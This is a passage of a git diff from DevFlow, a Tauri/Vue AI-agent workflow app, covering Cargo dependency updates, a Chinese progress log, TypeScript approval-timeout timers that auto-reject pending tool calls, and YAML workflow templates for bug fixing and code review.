checksum = "ef86cd5876211988985292b91c96a8f2d298df24e75989a43a3c73f2d4d8168b"
|
checksum = "ef86cd5876211988985292b91c96a8f2d298df24e75989a43a3c73f2d4d8168b"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"once_cell",
|
"once_cell",
|
||||||
|
"ring",
|
||||||
"rustls-pki-types",
|
"rustls-pki-types",
|
||||||
"rustls-webpki",
|
"rustls-webpki",
|
||||||
"subtle",
|
"subtle",
|
||||||
@@ -3647,6 +3739,7 @@ version = "1.14.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "30a7197ae7eb376e574fe940d068c30fe0462554a3ddbe4eca7838e049c937a9"
|
checksum = "30a7197ae7eb376e574fe940d068c30fe0462554a3ddbe4eca7838e049c937a9"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"web-time",
|
||||||
"zeroize",
|
"zeroize",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -3758,7 +3851,7 @@ dependencies = [
|
|||||||
"generic-array",
|
"generic-array",
|
||||||
"num",
|
"num",
|
||||||
"once_cell",
|
"once_cell",
|
||||||
"rand",
|
"rand 0.8.6",
|
||||||
"serde",
|
"serde",
|
||||||
"zbus 4.4.0",
|
"zbus 4.4.0",
|
||||||
]
|
]
|
||||||
@@ -3979,6 +4072,19 @@ dependencies = [
|
|||||||
"syn 2.0.117",
|
"syn 2.0.117",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "serde_yaml"
|
||||||
|
version = "0.9.34+deprecated"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47"
|
||||||
|
dependencies = [
|
||||||
|
"indexmap 2.14.0",
|
||||||
|
"itoa",
|
||||||
|
"ryu",
|
||||||
|
"serde",
|
||||||
|
"unsafe-libyaml",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "serialize-to-javascript"
|
name = "serialize-to-javascript"
|
||||||
version = "0.1.2"
|
version = "0.1.2"
|
||||||
@@ -5232,7 +5338,7 @@ dependencies = [
|
|||||||
"httparse",
|
"httparse",
|
||||||
"log",
|
"log",
|
||||||
"native-tls",
|
"native-tls",
|
||||||
"rand",
|
"rand 0.8.6",
|
||||||
"sha1",
|
"sha1",
|
||||||
"thiserror 1.0.69",
|
"thiserror 1.0.69",
|
||||||
"utf-8",
|
"utf-8",
|
||||||
@@ -5250,7 +5356,7 @@ dependencies = [
|
|||||||
"http",
|
"http",
|
||||||
"httparse",
|
"httparse",
|
||||||
"log",
|
"log",
|
||||||
"rand",
|
"rand 0.8.6",
|
||||||
"sha1",
|
"sha1",
|
||||||
"thiserror 1.0.69",
|
"thiserror 1.0.69",
|
||||||
"utf-8",
|
"utf-8",
|
||||||
@@ -5338,6 +5444,12 @@ version = "0.2.6"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "unsafe-libyaml"
|
||||||
|
version = "0.2.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "untrusted"
|
name = "untrusted"
|
||||||
version = "0.9.0"
|
version = "0.9.0"
|
||||||
@@ -5605,6 +5717,16 @@ dependencies = [
|
|||||||
"wasm-bindgen",
|
"wasm-bindgen",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "web-time"
|
||||||
|
version = "1.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb"
|
||||||
|
dependencies = [
|
||||||
|
"js-sys",
|
||||||
|
"wasm-bindgen",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "web_atoms"
|
name = "web_atoms"
|
||||||
version = "0.2.4"
|
version = "0.2.4"
|
||||||
@@ -5661,6 +5783,15 @@ dependencies = [
|
|||||||
"system-deps",
|
"system-deps",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "webpki-roots"
|
||||||
|
version = "1.0.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bf85cb06032201fa7c6f829d7db5a7e5aa45bcc0655327713065f6f0576731bf"
|
||||||
|
dependencies = [
|
||||||
|
"rustls-pki-types",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "webview2-com"
|
name = "webview2-com"
|
||||||
version = "0.38.2"
|
version = "0.38.2"
|
||||||
@@ -6398,7 +6529,7 @@ dependencies = [
|
|||||||
"hex",
|
"hex",
|
||||||
"nix",
|
"nix",
|
||||||
"ordered-stream",
|
"ordered-stream",
|
||||||
"rand",
|
"rand 0.8.6",
|
||||||
"serde",
|
"serde",
|
||||||
"serde_repr",
|
"serde_repr",
|
||||||
"sha1",
|
"sha1",
|
||||||
|
|||||||
@@ -22,3 +22,7 @@ regex = "1"
|
|||||||
# Win+mac 启用原生后端;linux 用 async-persistent 变体避同步阻塞 Secret Service。
|
# Win+mac 启用原生后端;linux 用 async-persistent 变体避同步阻塞 Secret Service。
|
||||||
# 由 df-storage(密钥解析下沉层) + src-tauri(build_provider_for 转发壳)共同引用。
|
# 由 df-storage(密钥解析下沉层) + src-tauri(build_provider_for 转发壳)共同引用。
|
||||||
keyring = { version = "3", features = ["windows-native", "apple-native", "linux-native-async-persistent"] }
|
keyring = { version = "3", features = ["windows-native", "apple-native", "linux-native-async-persistent"] }
|
||||||
|
# dashmap: ConvStateStore 无锁并发 HashMap(session 锁重构方案 B-Phase0)。
|
||||||
|
# ConvState 提到 ConvStateStore(DashMap),guard.reset/ai_is_generating 不依赖 session lock,
|
||||||
|
# 治卡死连环(AiCompleted 延迟/工具后中断/第二条进队列同源根因)。详见 workflow session-lock-redesign。
|
||||||
|
dashmap = "6"
|
||||||
|
|||||||
65
PROGRESS.md
65
PROGRESS.md
@@ -1,6 +1,6 @@
|
|||||||
# DevFlow — 项目进展与工作交接
|
# DevFlow — 项目进展与工作交接
|
||||||
|
|
||||||
> 创建: 2026-06-10 | 最后更新: 2026-06-18 | 当前阶段: PROGRESS Sprint 日志截至 Sprint 24(2026-06-15 · P0 generating 状态机加固 + 独立项批量);2026-06-16 起多会话进展(B-03 路由解耦 / 工具结果渲染 / 吞错降级 / 模型能力维度治理等)见 [docs/todo.md](docs/todo.md) + [docs/待审查.md](docs/待审查.md)
|
> 创建: 2026-06-10 | 最后更新: 2026-07-02 | 当前阶段: 多 Agent 并行执行架构落地完成(Plan DAG + worktree 隔离 + JoinSet 并行 + Reviewer 仲裁 + 模板系统 + 全节点补齐),详见 [Batch.md](Batch.md)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -11,9 +11,9 @@
|
|||||||
| 定位 | AI 原生创作流程驾驶舱,从想法到创作成果的全流程管理 |
|
| 定位 | AI 原生创作流程驾驶舱,从想法到创作成果的全流程管理 |
|
||||||
| 技术栈 | Tauri v2 + Vue 3 + TypeScript + Pinia / Rust Workspace (8 crate) / SQLite |
|
| 技术栈 | Tauri v2 + Vue 3 + TypeScript + Pinia / Rust Workspace (8 crate) / SQLite |
|
||||||
| 路径 | `E:/wk-lab/devflow/` |
|
| 路径 | `E:/wk-lab/devflow/` |
|
||||||
| 架构文档 | `ARCHITECTURE.md` (22,745 字) |
|
| 架构文档 | `ARCHITECTURE.md` + `docs/02-架构设计/` (含多 Agent 设计文档) |
|
||||||
| Git 状态 | 已纳入版本控制(完整 commit 历史,当前分支 feat/batch-260615-workflow-unlock) |
|
| Git 状态 | 已纳入版本控制(main 分支) |
|
||||||
| AI 能力 | df-ai OpenAI/Anthropic 双协议 Provider + 12 工具 + Agentic Loop |
|
| AI 能力 | OpenAI/Anthropic 双协议 + 40+ 工具 + Agentic Loop + 多 Agent 并行 + 人设系统 |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -23,7 +23,7 @@
|
|||||||
|
|
||||||
| Crate | 文件数 | 总行数 | 有效行 | 实现程度 |
|
| Crate | 文件数 | 总行数 | 有效行 | 实现程度 |
|
||||||
|-------|--------|--------|--------|---------|
|
|-------|--------|--------|--------|---------|
|
||||||
| df-core | 4 | 429 | ~260 | ✅ 完整 — 错误/事件/状态枚举/ID生成 |
|
| df-types | 4 | 429 | ~260 | ✅ 完整 — 错误/事件/状态枚举/ID生成/augmentation |
|
||||||
| df-workflow | 9 | 908 | ~620 | ✅ 核心 — DAG拓扑排序/执行器/状态机/事件总线 可用 |
|
| df-workflow | 9 | 908 | ~620 | ✅ 核心 — DAG拓扑排序/执行器/状态机/事件总线 可用 |
|
||||||
| df-storage | 5 | ~2,100 | ~1,400 | ✅ 完整 — 连接/迁移/建表(V1-V8) + impl_repo! 宏 CRUD + KnowledgeRepo(search/list_by_status/set_embedding/search_vector 等)+ 余弦相似度工具函数 |
|
| df-storage | 5 | ~2,100 | ~1,400 | ✅ 完整 — 连接/迁移/建表(V1-V8) + impl_repo! 宏 CRUD + KnowledgeRepo(search/list_by_status/set_embedding/search_vector 等)+ 余弦相似度工具函数 |
|
||||||
| df-execute | 5 | 203 | 129 | ✅ Shell 执行器真实可用(tokio::process,被 run_command 复用) |
|
| df-execute | 5 | 203 | 129 | ✅ Shell 执行器真实可用(tokio::process,被 run_command 复用) |
|
||||||
@@ -59,7 +59,7 @@
|
|||||||
|
|
||||||
```
|
```
|
||||||
真实可用路径(有端到端逻辑):
|
真实可用路径(有端到端逻辑):
|
||||||
df-core (类型基础)
|
df-types (类型基础)
|
||||||
→ df-workflow (DAG 拓扑排序 + 执行器 + 状态机 + EventBus)
|
→ df-workflow (DAG 拓扑排序 + 执行器 + 状态机 + EventBus)
|
||||||
→ df-execute/shell (tokio::process Shell 执行)
|
→ df-execute/shell (tokio::process Shell 执行)
|
||||||
→ df-storage (SQLite 连接 + 迁移 + 建表)
|
→ df-storage (SQLite 连接 + 迁移 + 建表)
|
||||||
@@ -98,7 +98,7 @@
|
|||||||
|
|
||||||
| 任务 | 状态 | 说明 |
|
| 任务 | 状态 | 说明 |
|
||||||
|------|------|------|
|
|------|------|------|
|
||||||
| df-core 类型系统 | ✅ 完成 | 错误/事件/状态枚举/ID生成 |
|
| df-types 类型系统 | ✅ 完成 | 错误/事件/状态枚举/ID生成/augmentation |
|
||||||
| df-workflow DAG 引擎 | ✅ 完成 | 拓扑排序/执行器/状态机/EventBus |
|
| df-workflow DAG 引擎 | ✅ 完成 | 拓扑排序/执行器/状态机/EventBus |
|
||||||
| df-storage SQLite 基础表 | ✅ 完成 | 6 张表 + 4 索引,缺 CRUD |
|
| df-storage SQLite 基础表 | ✅ 完成 | 6 张表 + 4 索引,缺 CRUD |
|
||||||
| df-execute Shell 执行 | ✅ 完成 | tokio::process 实现 |
|
| df-execute Shell 执行 | ✅ 完成 | tokio::process 实现 |
|
||||||
@@ -190,7 +190,7 @@
|
|||||||
### [Sprint 3] 2026-06-11 — Migrations V2 + Executor 并行化 + Tauri IPC(三代理并行)
|
### [Sprint 3] 2026-06-11 — Migrations V2 + Executor 并行化 + Tauri IPC(三代理并行)
|
||||||
|
|
||||||
**工作内容**(三个子代理并行,目录互不重叠):
|
**工作内容**(三个子代理并行,目录互不重叠):
|
||||||
- **Migrations V2**(df-storage/df-core):版本推进到 2 — ideas 补 promoted_to/ai_analysis/scores、tasks 补 workflow_def_id/base_branch、workflow_executions 补 project_id/task_id、新建 branches 表(含 2 索引);BranchRecord/BranchRepo/BranchStatus 枚举同步落地,ALLOWED_COLUMNS 白名单 +8 列
|
- **Migrations V2**(df-storage/df-types):版本推进到 2 — ideas 补 promoted_to/ai_analysis/scores、tasks 补 workflow_def_id/base_branch、workflow_executions 补 project_id/task_id、新建 branches 表(含 2 索引);BranchRecord/BranchRepo/BranchStatus 枚举同步落地,ALLOWED_COLUMNS 白名单 +8 列
|
||||||
- **Executor 并行化**(df-workflow):同层节点改 futures::join_all 并发,三阶段模式(串行准备→并发执行→串行收尾)规避借用冲突;StateMachine 增加转换校验(仅 Pending→Running、Running→Completed/Failed 合法,set_xxx 改返回 Result);4 个单测全绿(含并行耗时断言 <180ms、失败中止下游层)
|
- **Executor 并行化**(df-workflow):同层节点改 futures::join_all 并发,三阶段模式(串行准备→并发执行→串行收尾)规避借用冲突;StateMachine 增加转换校验(仅 Pending→Running、Running→Completed/Failed 合法,set_xxx 改返回 Result);4 个单测全绿(含并行耗时断言 <180ms、失败中止下游层)
|
||||||
- **Tauri IPC**(src-tauri):AppState(db + 6 Repo + EventBus + NodeRegistry)+ 17 个 command(project/task/idea CRUD + run_workflow/list/get executions);run_workflow 先落库 status=running 立即返回 execution_id,事件经 app.emit("workflow-event") 转发前端,完成后回写状态。注意:NodeRegistry 不能用 default()(script 工厂是 unimplemented! 占位),改为 new() + 手动注册真实 ScriptNode
|
- **Tauri IPC**(src-tauri):AppState(db + 6 Repo + EventBus + NodeRegistry)+ 17 个 command(project/task/idea CRUD + run_workflow/list/get executions);run_workflow 先落库 status=running 立即返回 execution_id,事件经 app.emit("workflow-event") 转发前端,完成后回写状态。注意:NodeRegistry 不能用 default()(script 工厂是 unimplemented! 占位),改为 new() + 手动注册真实 ScriptNode
|
||||||
|
|
||||||
@@ -665,7 +665,7 @@
|
|||||||
|
|
||||||
**遗留 / 下一步(修复批次建议)**:
|
**遗留 / 下一步(修复批次建议)**:
|
||||||
- **批1 数据安全**: ①(AI delete 改 soft_delete)+ ②(补 restore/purge/list_trash 三工具,复用 ProjectRepo 对应方法)
|
- **批1 数据安全**: ①(AI delete 改 soft_delete)+ ②(补 restore/purge/list_trash 三工具,复用 ProjectRepo 对应方法)
|
||||||
- **批2 阻塞 + 去重**: ③(:270/:271/:212 三处统一 spawn_blocking)+ ④(抽公共 normalize_path 到 df-project/df-core)+ ⑤(tool_registry 复用 allowed_columns_for)
|
- **批2 阻塞 + 去重**: ③(:270/:271/:212 三处统一 spawn_blocking)+ ④(抽公共 normalize_path 到 df-project/df-types)+ ⑤(tool_registry 复用 allowed_columns_for)
|
||||||
- **批3 前端**: ⑥(补 i18n key)+ ⑦(抽 src/utils/project.ts)+ ⑧(全局 8 处 alert/confirm 换 Arco Modal)
|
- **批3 前端**: ⑥(补 i18n key)+ ⑦(抽 src/utils/project.ts)+ ⑧(全局 8 处 alert/confirm 换 Arco Modal)
|
||||||
- ⚪ 可选: ⑨⑩⑪⑫ 按需
|
- ⚪ 可选: ⑨⑩⑪⑫ 按需
|
||||||
|
|
||||||
@@ -1031,17 +1031,46 @@
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### 2026-06-28 — 最新对话 DB & Log 诊断:审批死锁 + Windows 兼容 + 标题 LLM 失败
|
### 2026-07-19 — ConvStateStore 无锁重构 + 前端 P0 修复 + DeepSeek 400 修复 + 标题策略改进
|
||||||
|
|
||||||
> 分析来源:`devflow-trace.log` + `devflow-dev.db` 最新对话 `d9aef24f`(语音输入应用需求)。
|
> 本轮(Zed Agent 接管)完成 B-Phase 全量迁移、前端 P0、多轮 bug 修复、代码审查清理。
|
||||||
> 7 次工具连续失败后 L1 断路器熔断,1 条 pending 审批导致全链路死锁。
|
> 代码变更 50 文件,+2454/-1251 行,未提交。
|
||||||
|
|
||||||
- [ ] **P0 — 审批 pending 超时自动取消**:`try_continue` 入口清理 >5min 的 pending。
|
**B-Phase ConvStateStore 无锁重构(根治 session lock 竞争)**
|
||||||
- [ ] **P0 — `create_project` 加 auto_create_dir**:消除建项目→建目录→绑定的死锁链。
|
|
||||||
- [ ] **P1 — `run_command` 失败追加 shell 适配提示**:引导 LLM 改正 PowerShell 命令。
|
| Phase | 内容 |
|
||||||
- [ ] **P1 — PowerShell 反斜杠自动转义**:消除 `os error 123`(Unicode 转义误识别)。
|
|---|---|
|
||||||
- [ ] **P2 — 标题摘要合并连续同 role**:避免标题 LLM 的 GLM 1214 拒绝。
|
| Phase0-1 | DashMap 骨架 + AppState 接入(Claude Code 完成)|
|
||||||
- [ ] **P3 — migration V33 + L0-handshake 防抖**。
|
| Phase2 | guard/L0/chat IPC 写侧全量切 conv_states |
|
||||||
|
| Phase3 | 读侧迁移 + 删 PerConvState.conv_state 字段 → 单源收敛 |
|
||||||
|
| Phase4 | conversation_delete 同步 conv_states.remove |
|
||||||
|
|
||||||
|
**前端修复**
|
||||||
|
- P0-1: watchdog `convStates.clear()` → `delete(activeConversationId)`
|
||||||
|
- P0-2: switch/deleteConversation 入口加 `clearAllApprovalTimers()` + 注释修正
|
||||||
|
- 每轮 token 独立显示(🔣 XXX in · YYY out)
|
||||||
|
- STREAM_TIMEOUT_MS 45s → 90s
|
||||||
|
|
||||||
|
**后端修复**
|
||||||
|
- DeepSeek 400「insufficient tool messages」→ 末尾 orphan tool_calls 自动剥离
|
||||||
|
- `env_snapshot.rs` 5s 超时兜底(Windows Store alias 卡死)
|
||||||
|
- L0 握手始终推 AiConvStateChanged{idle} 防前端状态残留
|
||||||
|
- `openai_compat.rs` send 阶段 60s timeout
|
||||||
|
- 原生 SSE 解析器替代 eventsource-stream(Windows 兼容)
|
||||||
|
- run_agentic_loop 20s AiHeartbeat 保活
|
||||||
|
- grep 正则自动修复(未分组 `|` → `(?:...)` 包裹)
|
||||||
|
- read_file 路径不存在提示 list_directory
|
||||||
|
|
||||||
|
**标题策略改进**
|
||||||
|
- extract_title: 取前 5 条 user 消息中最长的一条(替代第一条截取)
|
||||||
|
- extract 不再落库 → LLM 每次都有重试机会,不再永久锁定差标题
|
||||||
|
|
||||||
|
**代码审查清理**
|
||||||
|
- 修复 lib.rs 重复 handler 注册(🔴 严重)
|
||||||
|
- 清理 unused import / [STUCK] 调试日志 / 过时注释
|
||||||
|
- 340 tests passed, vue-tsc clean
|
||||||
|
|
||||||
|
**待提交**:50 文件改动,含 B-Phase 重构 + 前端 P0 + 多轮 bug 修复
|
||||||
|
|
||||||
## 七、开发约定
|
## 七、开发约定
|
||||||
|
|
||||||
|
|||||||
@@ -215,6 +215,44 @@ function resetWatchdog(): void {
|
|||||||
streamTimer = setTimeout(onStreamTimeout, STREAM_TIMEOUT_MS)
|
streamTimer = setTimeout(onStreamTimeout, STREAM_TIMEOUT_MS)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ── 审批超时计时器(miniapp 补齐,对齐桌面 aiShared.startApprovalTimer)──
|
||||||
|
// 治「审批永久挂起」:用户没在 5min 内处理审批 → 自动拒绝(对应桌面端 APPROVAL_TIMEOUT_DEFAULT_MS=900000,
|
||||||
|
// miniapp 取 5min=300000 更符合移动端使用习惯)。每条审批独立计时,approve/拒绝/完成/切会话 清除。
|
||||||
|
const APPROVAL_TIMEOUT_MS = 300_000 // 5 分钟
|
||||||
|
const _approvalTimers = new Map<string, ReturnType<typeof setTimeout>>()
|
||||||
|
|
||||||
|
/** 启动审批超时计时器(AiApprovalRequired/AiDirAuthRequired 触发)。 */
|
||||||
|
function startApprovalTimer(tcId: string, toolName: string): void {
|
||||||
|
if (_approvalTimers.has(tcId)) return // 幂等
|
||||||
|
const timer = setTimeout(() => {
|
||||||
|
_approvalTimers.delete(tcId)
|
||||||
|
// 超时自动拒绝(对齐桌面端:到点调 aiApi.approve(id,false))
|
||||||
|
const idx = pendingApprovals.findIndex((p) => p.id === tcId)
|
||||||
|
if (idx >= 0) {
|
||||||
|
pendingApprovals.splice(idx, 1)
|
||||||
|
uni.showToast({ title: `审批超时已自动拒绝:${toolName}`, icon: 'none' })
|
||||||
|
// 发拒绝命令(device 收到后走 reject 链路,工具不执行,emit AiApprovalResult approved=false)
|
||||||
|
approve(tcId, false)
|
||||||
|
}
|
||||||
|
}, APPROVAL_TIMEOUT_MS)
|
||||||
|
_approvalTimers.set(tcId, timer)
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 清除审批超时计时器(approve/拒绝/完成/切会话/断连调用)。 */
|
||||||
|
function clearApprovalTimer(tcId: string): void {
|
||||||
|
const t = _approvalTimers.get(tcId)
|
||||||
|
if (t) {
|
||||||
|
clearTimeout(t)
|
||||||
|
_approvalTimers.delete(tcId)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 清除所有审批计时器(切会话/断连/重连/终态)。 */
|
||||||
|
function clearAllApprovalTimers(): void {
|
||||||
|
for (const t of _approvalTimers.values()) clearTimeout(t)
|
||||||
|
_approvalTimers.clear()
|
||||||
|
}
|
||||||
|
|
||||||
/** 清除看门狗(终态/挂起/断连触发,timer 彻底停) */
|
/** 清除看门狗(终态/挂起/断连触发,timer 彻底停) */
|
||||||
function clearWatchdog(): void {
|
function clearWatchdog(): void {
|
||||||
if (streamTimer) clearTimeout(streamTimer)
|
if (streamTimer) clearTimeout(streamTimer)
|
||||||
@@ -468,6 +506,8 @@ export function handleEvent(event: AiChatEvent): void {
|
|||||||
// 移除对应挂起审批(若有)
|
// 移除对应挂起审批(若有)
|
||||||
const idx = pendingApprovals.findIndex((p) => p.id === event.id)
|
const idx = pendingApprovals.findIndex((p) => p.id === event.id)
|
||||||
if (idx >= 0) pendingApprovals.splice(idx, 1)
|
if (idx >= 0) pendingApprovals.splice(idx, 1)
|
||||||
|
// 审批计时器:工具完成 → 清(审批已生效)
|
||||||
|
clearApprovalTimer(event.id)
|
||||||
// P2-E:工具执行完成 → 清回填标志(审批已生效执行,不再回填)
|
// P2-E:工具执行完成 → 清回填标志(审批已生效执行,不再回填)
|
||||||
if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) {
|
if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) {
|
||||||
lastApprovedTc.value = null
|
lastApprovedTc.value = null
|
||||||
@@ -495,6 +535,7 @@ export function handleEvent(event: AiChatEvent): void {
|
|||||||
pendingApprovals.push(info)
|
pendingApprovals.push(info)
|
||||||
}
|
}
|
||||||
clearWatchdog() // 挂起等审批,停看门狗(用户操作后续生成会 reset 重启)
|
clearWatchdog() // 挂起等审批,停看门狗(用户操作后续生成会 reset 重启)
|
||||||
|
startApprovalTimer(event.id, event.name) // 5min 超时自动拒绝兜底
|
||||||
const tc = findToolCall(event.id)
|
const tc = findToolCall(event.id)
|
||||||
if (tc) {
|
if (tc) {
|
||||||
tc.status = 'pending_approval'
|
tc.status = 'pending_approval'
|
||||||
@@ -511,6 +552,7 @@ export function handleEvent(event: AiChatEvent): void {
|
|||||||
}
|
}
|
||||||
const idx = pendingApprovals.findIndex((p) => p.id === event.id)
|
const idx = pendingApprovals.findIndex((p) => p.id === event.id)
|
||||||
if (idx >= 0) pendingApprovals.splice(idx, 1)
|
if (idx >= 0) pendingApprovals.splice(idx, 1)
|
||||||
|
clearApprovalTimer(event.id) // 审批结果落定 → 清计时器
|
||||||
// P2-E:审批结果确认(批准/拒绝均落定)→ 清回填标志(该 id 已定,不再回填)
|
// P2-E:审批结果确认(批准/拒绝均落定)→ 清回填标志(该 id 已定,不再回填)
|
||||||
if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) {
|
if (lastApprovedTc.value && lastApprovedTc.value.id === event.id) {
|
||||||
lastApprovedTc.value = null
|
lastApprovedTc.value = null
|
||||||
@@ -520,6 +562,7 @@ export function handleEvent(event: AiChatEvent): void {
|
|||||||
|
|
||||||
case 'AiDirAuthRequired': {
|
case 'AiDirAuthRequired': {
|
||||||
clearWatchdog() // 挂起等授权,停看门狗
|
clearWatchdog() // 挂起等授权,停看门狗
|
||||||
|
startApprovalTimer(event.id, event.tool) // 5min 超时自动拒绝
|
||||||
// F-#95 P0-3:路径授权进 pendingApprovals(kind=path),chat 页渲染 once/always/deny 按钮
|
// F-#95 P0-3:路径授权进 pendingApprovals(kind=path),chat 页渲染 once/always/deny 按钮
|
||||||
// (替代旧 system 文案降级「请在桌面端处理」,miniapp 成轻量审批终端,治 loop 卡死)。
|
// (替代旧 system 文案降级「请在桌面端处理」,miniapp 成轻量审批终端,治 loop 卡死)。
|
||||||
const authInfo: AiToolCallInfo = {
|
const authInfo: AiToolCallInfo = {
|
||||||
@@ -578,7 +621,7 @@ export function handleEvent(event: AiChatEvent): void {
|
|||||||
generating.value = false
|
generating.value = false
|
||||||
agentRound.value = 0
|
agentRound.value = 0
|
||||||
clearWatchdog() // 终态:停看门狗
|
clearWatchdog() // 终态:停看门狗
|
||||||
pendingApprovals.splice(0, pendingApprovals.length)
|
pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
|
||||||
// P2-E:审批失败回填 —— 刚 approve(approved=true)成功发出但 device 返 AiError(执行失败/已被
|
// P2-E:审批失败回填 —— 刚 approve(approved=true)成功发出但 device 返 AiError(执行失败/已被
|
||||||
// 桌面端处理),回填 pendingApprovals 让用户重试,避免 UI 误导「已批准」实际未生效。
|
// 桌面端处理),回填 pendingApprovals 让用户重试,避免 UI 误导「已批准」实际未生效。
|
||||||
if (lastApprovedTc.value) {
|
if (lastApprovedTc.value) {
|
||||||
@@ -935,7 +978,7 @@ function switchConversation(convId: string): void {
|
|||||||
lastApprovedTc.value = null // P2-E:切会话清审批回填标志(防跨会话误回填)
|
lastApprovedTc.value = null // P2-E:切会话清审批回填标志(防跨会话误回填)
|
||||||
generating.value = false
|
generating.value = false
|
||||||
// MINIAPP-03:清残留挂起状态,防旧会话审批卡/超时回调污染新会话视图(对齐 newConversation)。
|
// MINIAPP-03:清残留挂起状态,防旧会话审批卡/超时回调污染新会话视图(对齐 newConversation)。
|
||||||
pendingApprovals.splice(0, pendingApprovals.length)
|
pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
|
||||||
clearWatchdog()
|
clearWatchdog()
|
||||||
|
|
||||||
// F-#95 扩展:发 load_messages 拉历史(device route_load_messages 读库 → AiMessageHistory 回流)。
|
// F-#95 扩展:发 load_messages 拉历史(device route_load_messages 读库 → AiMessageHistory 回流)。
|
||||||
@@ -1022,7 +1065,7 @@ function newConversation(): void {
|
|||||||
maxRoundsActive.value = false // P1-E:新会话清 MaxRounds 挂起
|
maxRoundsActive.value = false // P1-E:新会话清 MaxRounds 挂起
|
||||||
lastApprovedTc.value = null // P2-E:新会话清审批回填标志
|
lastApprovedTc.value = null // P2-E:新会话清审批回填标志
|
||||||
generating.value = false
|
generating.value = false
|
||||||
pendingApprovals.splice(0, pendingApprovals.length)
|
pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -1044,7 +1087,7 @@ function syncOnConnect(): void {
|
|||||||
// req2:拉完整历史
|
// req2:拉完整历史
|
||||||
wsClient.send({ cmd: 'load_messages', args: { conversation_id: convId } })
|
wsClient.send({ cmd: 'load_messages', args: { conversation_id: convId } })
|
||||||
// req3:清本地 pending + 发 sync_pending 重推权威审批状态
|
// req3:清本地 pending + 发 sync_pending 重推权威审批状态
|
||||||
pendingApprovals.splice(0, pendingApprovals.length)
|
pendingApprovals.splice(0, pendingApprovals.length); clearAllApprovalTimers()
|
||||||
wsClient.send({ cmd: 'sync_pending', args: { conversation_id: convId } })
|
wsClient.send({ cmd: 'sync_pending', args: { conversation_id: convId } })
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
47
assets/templates/bug-fix.yaml
Normal file
47
assets/templates/bug-fix.yaml
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
# Bug 修复模板
|
||||||
|
name: Bug 修复
|
||||||
|
description: AI 驱动的 bug 修复流程 — 定位、修复、验证、通知
|
||||||
|
|
||||||
|
nodes:
|
||||||
|
locate:
|
||||||
|
type: ai
|
||||||
|
label: 定位 Bug
|
||||||
|
config:
|
||||||
|
prompt: |
|
||||||
|
根据错误描述和堆栈信息,定位 bug 的根因。
|
||||||
|
使用 search_files 和 read_file 工具查找相关代码。
|
||||||
|
persona_id: analyst
|
||||||
|
|
||||||
|
fix:
|
||||||
|
type: ai
|
||||||
|
label: 修复 Bug
|
||||||
|
config:
|
||||||
|
prompt: |
|
||||||
|
基于定位结果,修复 bug。
|
||||||
|
使用 patch_file 工具进行最小化修改。
|
||||||
|
persona_id: coder
|
||||||
|
|
||||||
|
verify:
|
||||||
|
type: ai
|
||||||
|
label: 验证修复
|
||||||
|
config:
|
||||||
|
prompt: |
|
||||||
|
验证修复是否有效。
|
||||||
|
使用 run_command 工具运行相关测试。
|
||||||
|
persona_id: tester
|
||||||
|
|
||||||
|
notify:
|
||||||
|
type: notify
|
||||||
|
label: 通知结果
|
||||||
|
config:
|
||||||
|
type: desktop
|
||||||
|
title: Bug 修复完成
|
||||||
|
message: 修复已验证
|
||||||
|
|
||||||
|
edges:
|
||||||
|
- from: locate
|
||||||
|
to: fix
|
||||||
|
- from: fix
|
||||||
|
to: verify
|
||||||
|
- from: verify
|
||||||
|
to: notify
|
||||||
36
assets/templates/code-review.yaml
Normal file
36
assets/templates/code-review.yaml
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
# 代码审查模板
|
||||||
|
name: 代码审查
|
||||||
|
description: AI 驱动的代码审查流程 — 分析变更、审查质量、通知结果
|
||||||
|
|
||||||
|
nodes:
